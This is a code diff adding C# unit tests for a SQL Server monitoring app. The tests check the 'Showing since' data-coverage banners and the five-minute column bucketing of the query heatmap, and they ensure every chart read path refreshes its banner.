+    /// <summary>The quiet start: the collector ran for 30 days and its first event in all that time came 3 days ago, so a 7-day range is covered whole. No banner.</summary>
+    [Fact]
+    public async Task MemoryPressureEvents_QuietStart_OnAServerCollectedForThirtyDays_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("memory_pressure_events", end.AddDays(-30), end, 360);
+        await SeedMemoryPressureEventAsync(end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.MemoryPressureEvents, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The same guard with only stored events to go on: an older event before the range proves it was served whole.</summary>
+    [Fact]
+    public async Task MemoryPressureEvents_QuietStartInsideTheRange_WithAnOlderEventBeforeIt_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedMemoryPressureEventAsync(end.AddDays(-27));
+        await SeedMemoryPressureEventAsync(end.AddHours(-2));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.MemoryPressureEvents, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>A range that starts before the oldest stored query_stats row gets the banner the heatmap shows.</summary>
+    [Fact]
+    public async Task QueryHeatmap_RangeStartsBeforeTheOldestStoredRow_ShowsTheBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-2);
+        await SeedQueryStatsAsync(oldest);
+        await SeedQueryStatsAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.QueryStats, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:"), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>The quiet start: a row before the range proves it was served whole, however late the first row inside it comes.</summary>
+    [Fact]
+    public async Task QueryHeatmap_QuietStartInsideTheRange_WithAnOlderRowBeforeIt_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedQueryStatsAsync(end.AddDays(-27));
+        await SeedQueryStatsAsync(end.AddHours(-2));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.QueryStats, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// One column per 5-minute bucket across the ASKED range, empty ones included, so a gap in the data draws as a
+    /// gap. Rows 30 minutes after the start of a 7-day range and an hour before its end used to draw two ADJACENT
+    /// columns 6.9 days apart (the columns were only the buckets that hold a row, and the X axis counts columns).
+    /// The range is bucket-aligned so the count is exact: 7 days of 5-minute buckets, both ends included.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_DrawsOneColumnPerBucketAcrossTheAskedRange_SoAGapShowsAsEmptyColumns()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddDays(7);
+        await SeedQueryStatsAsync(start.AddMinutes(30));
+        await SeedQueryStatsAsync(end.AddHours(-1));
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        const int buckets = 7 * 24 * 12 + 1;
+        Assert.Equal(buckets, result.TimeBuckets.Length);
+        Assert.Equal(buckets, result.Intensities.GetLength(1));
+        Assert.Equal(buckets, result.CellDetails.GetLength(1));
+        Assert.Equal(start, result.TimeBuckets[0]);
+        Assert.Equal(end, result.TimeBuckets[^1]);
+        for (var i = 1; i < result.TimeBuckets.Length; i++)
+        {
+            Assert.Equal(TimeSpan.FromMinutes(5), result.TimeBuckets[i] - result.TimeBuckets[i - 1]);
+        }
+
+        /* The two stored rows sit in their own columns, a week of empty columns apart; every other column is empty. */
+        var firstColumn = Array.IndexOf(result.TimeBuckets, start.AddMinutes(30));
+        var lastColumn = Array.IndexOf(result.TimeBuckets, end.AddHours(-1));
+        Assert.Equal(6, firstColumn);
+        Assert.Equal(buckets - 1 - 12, lastColumn);
+        double total = 0;
+        for (var row = 0; row < result.Intensities.GetLength(0); row++)
+        {
+            for (var col = 0; col < result.Intensities.GetLength(1); col++)
+            {
+                total += result.Intensities[row, col];
+                if (result.Intensities[row, col] > 0)
+                {
+                    Assert.True(col == firstColumn || col == lastColumn, $"column {col} should be empty");
+                }
+            }
+        }
+
+        Assert.Equal(2d, total);
+    }
+
+    /// <summary>
+    /// A range whose ends are not on a bucket boundary starts at the bucket that CONTAINS its start and ends at the
+    /// one that contains its end: the same 5-minute buckets the read's <c>time_bucket</c> puts a row in, so the
+    /// stored row lands in the column of its own bucket.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_AnUnalignedRange_StartsAtTheBucketHoldingItsStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 10, 2, 30, DateTimeKind.Unspecified);
+        var end = new DateTime(2026, 6, 1, 10, 27, 30, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(new DateTime(2026, 6, 1, 10, 13, 10, DateTimeKind.Unspecified));
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        Assert.Equal(
+            new[] { 0, 5, 10, 15, 20, 25 }.Select(minute => new DateTime(2026, 6, 1, 10, minute, 0)).ToArray(),
+            result.TimeBuckets);
+        Assert.Equal(1d, result.Intensities[0, 2]);
+    }
+
+    /// <summary>
+    /// #4991: a range that starts before the data shows the "Showing since" notice, and its columns start at the
+    /// 5-minute bucket that holds the first stored row, not at the range start: the span before the data is what the
+    /// notice already explains, and a year-wide range over a few days of data would otherwise draw ~105,000 columns,
+    /// nearly all of them empty. The end of the range is still the last column. The first row is at 10:17:40 on the
+    /// 4th, so its bucket is 10:15, and the notice names that first column's start (#4966), not the row's own time.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_ARangeThatStartsBeforeTheData_StartsItsColumnsAtTheTimeTheNoticeNames()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddDays(7);
+        var firstRow = new DateTime(2026, 6, 4, 10, 17, 40, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(firstRow);
+        await SeedQueryStatsAsync(end.AddHours(-1));
+
+        var (visible, text, _, _) = await HeatmapNoticeAsync(start, end);
+        Assert.True(visible);
+        Assert.Equal("Showing since 2026-06-04 10:15:00", text);
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        var noticeBucket = new DateTime(2026, 6, 4, 10, 15, 0, DateTimeKind.Unspecified);
+        var buckets = (int)((end - noticeBucket).TotalMinutes / 5) + 1;
+        Assert.Equal(1030, buckets);
+        Assert.Equal(buckets, result.TimeBuckets.Length);
+        Assert.Equal(buckets, result.Intensities.GetLength(1));
+        Assert.Equal(buckets, result.CellDetails.GetLength(1));
+        Assert.Equal(noticeBucket, result.TimeBuckets[0]);
+        Assert.Equal(end, result.TimeBuckets[^1]);
+        Assert.Equal(1d, result.Intensities[0, 0]);
+        Assert.Equal(1d, result.Intensities[0, buckets - 1 - 12]);
+    }
+
+    /// <summary>
+    /// #4991: a range the store covered shows no notice and keeps its columns from the range start, however late its
+    /// first row inside the range comes. An older row before the range proves the store reached back to it, so the
+    /// first row inside it (3 days in here) is a quiet start, not where the data begins. A guard against trimming
+    /// the columns to the first row whatever the notice says: the old code always started at the range start, so
+    /// this one passes on it too.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_ACoveredRange_StillStartsItsFirstColumnAtTheRangeStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddDays(7);
+        await SeedQueryStatsAsync(start.AddDays(-20));
+        await SeedQueryStatsAsync(start.AddDays(3).AddMinutes(17));
+        await SeedQueryStatsAsync(end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.QueryStats, start, end);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        const int buckets = 7 * 24 * 12 + 1;
+        Assert.Equal(buckets, result.TimeBuckets.Length);
+        Assert.Equal(start, result.TimeBuckets[0]);
+        Assert.Equal(end, result.TimeBuckets[^1]);
+    }
+
+    /// <summary>
+    /// The Query Heatmap's notice for a range, the way the tab words it (#4966): the real read of the heatmap, the real
+    /// probe behind the tab's probe step (<see cref="ServerTab.ProbeWindowFloorOrNullAsync"/>, which skips a window the
+    /// slack covers), then the tab's rule for the time the notice names (<see cref="ServerTab.EarlierOfFloorAndRowShown"/>
+    /// over <see cref="ServerTab.FirstColumnDrawn"/>, the pair <c>RefreshQueryHeatmapBannerAsync</c> hands the shared step)
+    /// and its banner step: (visible, text, the first column the heatmap drew, probe calls).
+    /// </summary>
+    private async Task<(bool Visible, string Text, DateTime? FirstColumn, int ProbeCalls)> HeatmapNoticeAsync(DateTime startUtc, DateTime endUtc)
+    {
+        var service = Service();
+        var drawn = await service.GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: startUtc, toDate: endUtc);
+        var probeCalls = 0;
+        var probed = await ServerTab.ProbeWindowFloorOrNullAsync(
+            () =>
+            {
+                probeCalls++;
+                return service.GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, startUtc, endUtc);
+            },
+            "Query Heatmap", startUtc, endUtc);
+        var floor = ServerTab.EarlierOfFloorAndRowShown(probed, ServerTab.FirstColumnDrawn(drawn));
+        var (visible, text) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+        return (visible, text, drawn.TimeBuckets.Length == 0 ? null : drawn.TimeBuckets[0], probeCalls);
+    }
+
+    /// <summary>
+    /// #4966: the heatmap draws its first column from the 5-minute bucket that holds the data start, so a coverage start
+    /// inside that bucket is later than the column on screen. The notice names the earlier of the two, the first column's
+    /// start, as the Darling viewer's does, and not a time up to one bucket after the column. The range starts two days
+    /// before the data; the first row is 10:07 (and, on the bucket's edge, a second before the next bucket, and a second
+    /// before its own), so its column is 10:05 (and 10:05, 10:05, 10:00).
+    /// </summary>
+    [Theory]
+    [InlineData(10, 7, 0, 10, 5)]
+    [InlineData(10, 5, 0, 10, 5)]
+    [InlineData(10, 9, 59, 10, 5)]
+    [InlineData(10, 4, 59, 10, 0)]
+    public async Task QueryHeatmap_ACoverageStartInsideTheFirstColumn_NamesTheColumnsStart(int hour, int minute, int second, int columnHour, int columnMinute)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = new DateTime(2026, 6, 1, 12, 0, 0, DateTimeKind.Unspecified);
+        var firstRow = new DateTime(2026, 6, 1, hour, minute, second, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(firstRow);
+        await SeedQueryStatsAsync(firstRow.AddMinutes(50));
+
+        var (visible, text, firstColumn, probeCalls) = await HeatmapNoticeAsync(end.AddDays(-2), end);
+
+        var column = new DateTime(2026, 6, 1, columnHour, columnMinute, 0, DateTimeKind.Unspecified);
+        Assert.Equal(1, probeCalls);
+        Assert.Equal(column, firstColumn);
+        Assert.True(visible);
+        Assert.Equal(Since(column), text);
+    }
+
+    /// <summary>
+    /// #4966: a range the stored data covers still shows no notice when its start sits inside a column. The first column
+    /// (00:05) starts before the range does (00:07), and a row older than the range proves the store reached back to it.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_ARangeTheCoverageCovers_ShowsNoNotice_WhateverColumnItStartsIn()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 0, 7, 0, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(start.AddDays(-20));
+        await SeedQueryStatsAsync(start.AddDays(3).AddMinutes(17));
+
+        var (visible, text, firstColumn, _) = await HeatmapNoticeAsync(start, start.AddDays(7));
+
+        Assert.Equal(new DateTime(2026, 6, 1, 0, 5, 0, DateTimeKind.Unspecified), firstColumn);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// #4966: a range no longer than the 90-minute slack never gets the notice and makes no probe call, whatever column the
+    /// heatmap draws first. The first row here comes 7 minutes in.
+    /// </summary>
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task QueryHeatmap_ARangeNoLongerThanTheSlack_ShowsNoNotice_AndMakesNoProbeCall(int rangeMinutes)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(start.AddMinutes(7));
+
+        var (visible, text, firstColumn, probeCalls) = await HeatmapNoticeAsync(start, start.AddMinutes(rangeMinutes));
+
+        Assert.Equal(start, firstColumn);
+        Assert.Equal(0, probeCalls);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// #4966: the slack still decides whether a longer range gets the notice at all. A first row 37 minutes into a six-hour
+    /// range is a quiet start, so the notice stays hidden and the columns keep the range start.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_AFirstRowInsideTheSlackOfALongRange_ShowsNoNotice_AndKeepsTheRangeStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(start.AddMinutes(37));
+
+        var (visible, text, firstColumn, probeCalls) = await HeatmapNoticeAsync(start, start.AddHours(6));
+
+        Assert.Equal(1, probeCalls);
+        Assert.Equal(start, firstColumn);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The first column of a drawn heatmap is the one the notice may name; a heatmap that drew none names nothing.</summary>
+    [Fact]
+    public void FirstColumnDrawn_IsTheFirstOfTheDrawnColumns_AndNullWhenNoneWasDrawn()
+    {
+        var first = new DateTime(2026, 6, 1, 10, 5, 0, DateTimeKind.Unspecified);
+
+        Assert.Equal(first, ServerTab.FirstColumnDrawn(new HeatmapResult { TimeBuckets = new[] { first, first.AddMinutes(5) } }));
+        Assert.Null(ServerTab.FirstColumnDrawn(new HeatmapResult()));
+    }
+
+    /// <summary>
+    /// #4966: the notice and the columns judge a first row the same way, on the first column's start. A first row 91 minutes
+    /// into a six-hour range is past the 90-minute slack by itself, but its column starts at 11:30, exactly at the slack, so
+    /// the notice stays hidden; the columns then keep the range start. Trimming them to a data start the notice does not
+    /// name would leave 90 minutes of the range off the chart with nothing saying so.
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_AFirstRowPastTheSlack_WhoseColumnStartsAtTheSlack_ShowsNoNotice_AndTrimsNoColumns()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(start.AddMinutes(91));
+
+        var (visible, text, firstColumn, _) = await HeatmapNoticeAsync(start, start.AddHours(6));
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+        Assert.Equal(start, firstColumn);
+    }
+
+    /// <summary>
+    /// #4991: starting the columns at the data start does not close the gaps INSIDE the data: every bucket from the
+    /// notice's bucket to the range end still has a column, so the two days with no rows between the first row and
+    /// the next draw as 575 empty columns (the 576 5-minute buckets from the first row's bucket to the next row's,
+    /// less the next row's own).
+    /// </summary>
+    [Fact]
+    public async Task QueryHeatmap_AGapInsideTheData_StillDrawsEmptyColumns_WhenTheRangeStartsBeforeTheData()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var start = new DateTime(2026, 6, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var end = start.AddDays(7);
+        var dataStart = new DateTime(2026, 6, 3, 8, 0, 0, DateTimeKind.Unspecified);
+        await SeedQueryStatsAsync(dataStart.AddMinutes(2));
+        await SeedQueryStatsAsync(dataStart.AddDays(2).AddMinutes(3));
+        await SeedQueryStatsAsync(end.AddHours(-1));
+
+        var (visible, _) = await BannerForAsync(QueryWindowRelation.QueryStats, start, end);
+        Assert.True(visible);
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 24, fromDate: start, toDate: end);
+
+        const int buckets = 4 * 24 * 12 + 16 * 12 + 1;
+        Assert.Equal(buckets, result.TimeBuckets.Length);
+        Assert.Equal(dataStart, result.TimeBuckets[0]);
+        Assert.Equal(end, result.TimeBuckets[^1]);
+        for (var i = 1; i < result.TimeBuckets.Length; i++)
+        {
+            Assert.Equal(TimeSpan.FromMinutes(5), result.TimeBuckets[i] - result.TimeBuckets[i - 1]);
+        }
+
+        /* The three stored rows sit in their own columns (the first, 2 days later, and the hour before the end); the 575 columns
+           between the first two, and every other one, are empty. */
+        var secondColumn = Array.IndexOf(result.TimeBuckets, dataStart.AddDays(2));
+        var lastColumn = Array.IndexOf(result.TimeBuckets, end.AddHours(-1));
+        Assert.Equal(2 * 24 * 12, secondColumn);
+        Assert.Equal(buckets - 1 - 12, lastColumn);
+        double total = 0;
+        for (var col = 0; col < result.Intensities.GetLength(1); col++)
+        {
+            for (var row = 0; row < result.Intensities.GetLength(0); row++)
+            {
+                total += result.Intensities[row, col];
+                if (result.Intensities[row, col] > 0)
+                {
+                    Assert.True(col == 0 || col == secondColumn || col == lastColumn, $"column {col} should be empty");
+                }
+            }
+        }
+
+        Assert.Equal(3d, total);
+    }
+
+    /// <summary>A range that holds no row at all still answers the empty result, so the chart says it has no data rather than drawing a blank grid.</summary>
+    [Fact]
+    public async Task QueryHeatmap_ARangeWithNoRows_DrawsNoColumns()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedQueryStatsAsync(end.AddDays(-20));
+
+        var result = await Service().GetQueryHeatmapAsync(ServerId, HeatmapMetric.Duration, hoursBack: 7 * 24);
+
+        Assert.Empty(result.TimeBuckets);
+    }
+
+    /// <summary>
+    /// The three surfaces have their banner TextBlocks, collapsed until a read raises them, and their helpers hand the
+    /// shared step the SAME UTC pair the surface's read takes (<c>GetQueriesTabWindowUtc</c>, #4279: the one
+    /// <c>GetTimeRange</c> call, which the Memory Pressure Events read makes too) with the right relation: Plan
+    /// Corrections its own, through the cap-aware step because its grid reads the newest 200 rows; the heatmap the Top
+    /// Queries relation, because both read query_stats; Memory Pressure Events its own.
+    /// </summary>
+    [Fact]
+    public void Surfaces_HaveTheirBanner_AndTheirHelpersTakeTheReadsUtcWindow()
+    {
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        Assert.Matches(@"<TextBlock[^>]*x:Name=""PlanCorrectionsWindowTruncatedBanner""[^>]*Visibility=""Collapsed""", xaml);
+        Assert.Matches(@"<TextBlock[^>]*x:Name=""QueryHeatmapWindowTruncatedBanner""[^>]*Visibility=""Collapsed""", xaml);
+        Assert.Matches(@"<TextBlock[^>]*x:Name=""MemoryPressureEventsWindowTruncatedBanner""[^>]*Visibility=""Collapsed""", xaml);
+
+        var helpers = CodeOf("ServerTab.QueriesDataStart.cs");
+        Assert.Matches(
+            @"RefreshPlanCorrectionsBannerAsync\(IReadOnlyCollection<PlanCorrectionRow> planCorrections, int hoursBack, DateTime\? fromDate, DateTime\? toDate\)\s*\{\s*var \(windowStart, windowEnd\) = LocalDataService\.GetQueriesTabWindowUtc\(hoursBack, fromDate, toDate\);\s*return RefreshCappedGridBannerAsync\(QueryWindowRelation\.PlanCorrection, PlanCorrectionsWindowTruncatedBanner, windowStart, windowEnd, planCorrections, LocalDataService\.PlanCorrectionGridCap, row => row\.CollectionTime\);",
+            helpers);
+        Assert.Matches(
+            @"RefreshQueryHeatmapBannerAsync\(HeatmapResult drawn, int hoursBack, DateTime\? fromDate, DateTime\? toDate\)\s*\{\s*var \(windowStart, windowEnd\) = LocalDataService\.GetQueriesTabWindowUtc\(hoursBack, fromDate, toDate\);\s*return RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.QueryStats, QueryHeatmapWindowTruncatedBanner, windowStart, windowEnd, FirstColumnDrawn\(drawn\)\);",
+            helpers);
+        Assert.Matches(
+            @"RefreshMemoryPressureEventsBannerAsync\(int hoursBack, DateTime\? fromDate, DateTime\? toDate\)\s*\{\s*var \(windowStart, windowEnd\) = LocalDataService\.GetQueriesTabWindowUtc\(hoursBack, fromDate, toDate\);\s*return RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.MemoryPressureEvents, MemoryPressureEventsWindowTruncatedBanner, windowStart, windowEnd\);",
+            helpers);
+    }
+
+    /// <summary>
+    /// Every read path of Plan Corrections (the sub-tab switch and the full refresh) refreshes its banner after the
+    /// grid is bound, handing it the rows the grid read (the cap-aware step needs them). A census over every
+    /// ServerTab file, so a read path added later without the call fails here.
+    /// </summary>
+    [Fact]
+    public void PlanCorrections_EveryReadPathRefreshesTheBanner_AfterTheGridIsBound()
+    {
+        var refresh = Body(CodeOf("ServerTab.Refresh.cs"), "private async System.Threading.Tasks.Task RefreshQueriesAsync(");
+        var bound = Positions(refresh, "_planCorrectionFilterMgr!.UpdateData(");
+        var banner = Positions(refresh, "await RefreshPlanCorrectionsBannerAsync(");
+
+        Assert.Equal(2, bound.Count);
+        AssertEachFollowsItsBind(bound, banner, "Plan Corrections");
+        Assert.Contains("await RefreshPlanCorrectionsBannerAsync(planCorrections, hoursBack, fromDate, toDate);", refresh, StringComparison.Ordinal);
+        Assert.Contains("await RefreshPlanCorrectionsBannerAsync(planCorrectionTask.Result, hoursBack, fromDate, toDate);", refresh, StringComparison.Ordinal);
+
+        Assert.Equal(
+            AllServerTabCode().Sum(code => Positions(code, "_dataService.GetPlanCorrectionsAsync(").Count),
+            AllServerTabCode().Sum(code => Positions(code, "await RefreshPlanCorrectionsBannerAsync(").Count));
+    }
+
+    /// <summary>
+    /// Every read path of Memory Pressure Events (the timer's sub-tab refresh and the full refresh) refreshes its
+    /// banner after the chart is drawn. The same census.
+    /// </summary>
+    [Fact]
+    public void MemoryPressureEvents_EveryReadPathRefreshesTheBanner_AfterTheChartIsDrawn()
+    {
+        var memory = Body(CodeOf("ServerTab.Refresh.cs"), "private async System.Threading.Tasks.Task RefreshMemoryAsync(");
+        var drawn = Positions(memory, "UpdateMemoryPressureEventsChart(");
+        var banner = Positions(memory, "await RefreshMemoryPressureEventsBannerAsync(hoursBack, fromDate, toDate);");
+
+        Assert.Equal(2, drawn.Count);
+        AssertEachFollowsItsBind(drawn, banner, "Memory Pressure Events");
+
+        Assert.Equal(
+            AllServerTabCode().Sum(code => Positions(code, "_dataService.GetMemoryPressureEventsAsync(").Count),
+            AllServerTabCode().Sum(code => Positions(code, "await RefreshMemoryPressureEventsBannerAsync(").Count));
+    }
+
+    /// <summary>
+    /// #4966 item 6: the doc comments that say which surfaces read the probe and share the banner step name the ones
+    /// this group added. They had listed only Active Queries and Current Waits as the coverage readers, and only the
+    /// three Queries grids, Active Queries and Current Waits as the banner's surfaces.
+    /// </summary>
+    [Fact]
+    public void TheProbeAndBannerStepDocs_NameEverySurfaceThatUsesThem()
+    {
+        var floorSource = File.ReadAllText(ServicesFile("LocalDataService.QueryWindowFloor.cs")).Replace("\r\n", "\n");
+        var probeDoc = DocBefore(floorSource, "public async Task<DateTime?> GetQueryWindowFloorAsync(");
+        var collectorDoc = DocBefore(floorSource, "internal static string? QueryWindowRelationCollector(");
+        foreach (var surface in new[] { "Active Queries", "Current Waits", "Plan Corrections", "Memory Pressure Events" })
+        {
+            Assert.True(probeDoc.Contains(surface, StringComparison.Ordinal), $"the probe's doc comment does not name '{surface}' among the surfaces that read it by coverage");
+        }
+
+        Assert.Contains("PlanCorrection", collectorDoc, StringComparison.Ordinal);
+        Assert.Contains("MemoryPressureEvents", collectorDoc, StringComparison.Ordinal);
+
+        var refreshSource = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs")).Replace("\r\n", "\n");
+        var stepDoc = DocBefore(refreshSource, "internal static bool ApplyWindowFloorToBanner(");
+        foreach (var surface in new[] { "Plan Corrections", "Query Heatmap", "Memory Pressure Events" })
+        {
+            Assert.True(stepDoc.Contains(surface, StringComparison.Ordinal), $"the banner step's doc comment does not name '{surface}'");
+        }
+
+        /* The shared probing step's own summary names every surface that reaches it (the capped Plan Corrections grid
+           included, through its fall-through), so a surface added later without a mention fails here. */
+        var sharedStepDoc = DocBefore(refreshSource, "private async System.Threading.Tasks.Task RefreshWindowTruncatedBannerAsync(");
+        foreach (var surface in new[] { "Queries grids", "Active Queries", "Current Waits", "Query Heatmap", "Memory Pressure Events", "Plan Corrections" })
+        {
+            Assert.True(sharedStepDoc.Contains(surface, StringComparison.Ordinal), $"the shared probing step's doc comment does not name '{surface}'");
+        }
+    }
+
+    /// <summary>
+    /// Every read path of the Query Heatmap (the sub-tab switch, the full refresh and the metric picker) refreshes its
+    /// banner after the chart is drawn. The same census.
+    /// </summary>
+    [Fact]
+    public void QueryHeatmap_EveryReadPathRefreshesTheBanner_AfterTheChartIsDrawn()
+    {
+        var refresh = Body(CodeOf("ServerTab.Refresh.cs"), "private async System.Threading.Tasks.Task RefreshQueriesAsync(");
+        var drawn = Positions(refresh, "UpdateQueryHeatmapChart(");
+        /* #4966: each banner call is handed the very result its chart was drawn from, so the notice can name the first
+           column that chart draws. */
+        Assert.Contains("UpdateQueryHeatmapChart(hmData);", refresh, StringComparison.Ordinal);
+        Assert.Contains("UpdateQueryHeatmapChart(heatmapTask.Result);", refresh, StringComparison.Ordinal);
+        var banner = Positions(refresh, "await RefreshQueryHeatmapBannerAsync(hmData, hoursBack, fromDate, toDate);")
+            .Concat(Positions(refresh, "await RefreshQueryHeatmapBannerAsync(heatmapTask.Result, hoursBack, fromDate, toDate);"))
+            .OrderBy(position => position).ToList();
+        Assert.Equal(2, drawn.Count);
+        AssertEachFollowsItsBind(drawn, banner, "Query Heatmap (sub-tab switch and full refresh)");
+
+        var picker = Body(CodeOf("ServerTab.Charts.cs"), "private async void HeatmapMetric_SelectionChanged(");
+        var pickerDrawn = Positions(picker, "UpdateQueryHeatmapChart(result);");
+        var pickerBanner = Positions(picker, "await RefreshQueryHeatmapBannerAsync(result, hoursBack, fromDate, toDate);");
+        Assert.Single(pickerDrawn);
+        AssertEachFollowsItsBind(pickerDrawn, pickerBanner, "Query Heatmap (metric picker)");
+
+        Assert.Equal(
+            AllServerTabCode().Sum(code => Positions(code, "_dataService.GetQueryHeatmapAsync(").Count),
+            AllServerTabCode().Sum(code => Positions(code, "await RefreshQueryHeatmapBannerAsync(").Count));
+    }
+
+    /// <summary>
+    /// The chart surfaces of the same group that carry NO notice, and why. A chart whose time axis is pinned to the
+    /// asked range already draws the empty span before the first stored row, so a reader cannot take it for a quiet
+    /// period; this holds each of them to that: every one of these methods pins the X axis to the window the read took
+    /// (<c>GetChartWindow</c>, or <c>GetXAxisWindow</c> for the Overview's five timeline charts), so one that moves to an axis the data
+    /// decides fails here and needs a notice instead. The Memory Overview summary reads only the newest snapshot, which
+    /// is not a window at all. Memory Pressure Events is on this list for its axis only: its bars exist only where
+    /// pressure was recorded, so its empty span still reads as no pressure, which is why it carries the notice too.
+    ///
+    /// <para>The pin is the DATA path's own call, not any call: most of these methods also set the limits on their
+    /// empty path (<c>if (data.Count == 0) { ... SetLimitsX ...; return; }</c>), and that call alone satisfied the old
+    /// check when the data path's was deleted. So, for each chart in <paramref name="charts"/> (the controls a method
+    /// plots, separated by <c>|</c>; the loop variable for the Overview's five lanes), the call must come after the
+    /// method's last <c>return;</c>.</para>
+    /// </summary>
+    [Theory]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateCpuChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "CpuChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateMemoryChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "MemoryChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateMemoryGrantCharts(", "GetChartWindow(hoursBack, fromDate, toDate)", "MemoryGrantSizingChart|MemoryGrantActivityChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateMemoryPressureEventsChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "MemoryPressureEventsChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateTempDbChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "TempDbChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateTempDbSizeChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "TempDbSizeChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateTempDbFileIoChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "TempDbFileIoChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateFileIoCharts(", "GetChartWindow(hoursBack, fromDate, toDate)", "FileIoReadChart|FileIoWriteChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateFileIoThroughputCharts(", "GetChartWindow(hoursBack, fromDate, toDate)", "FileIoReadThroughputChart|FileIoWriteThroughputChart")]
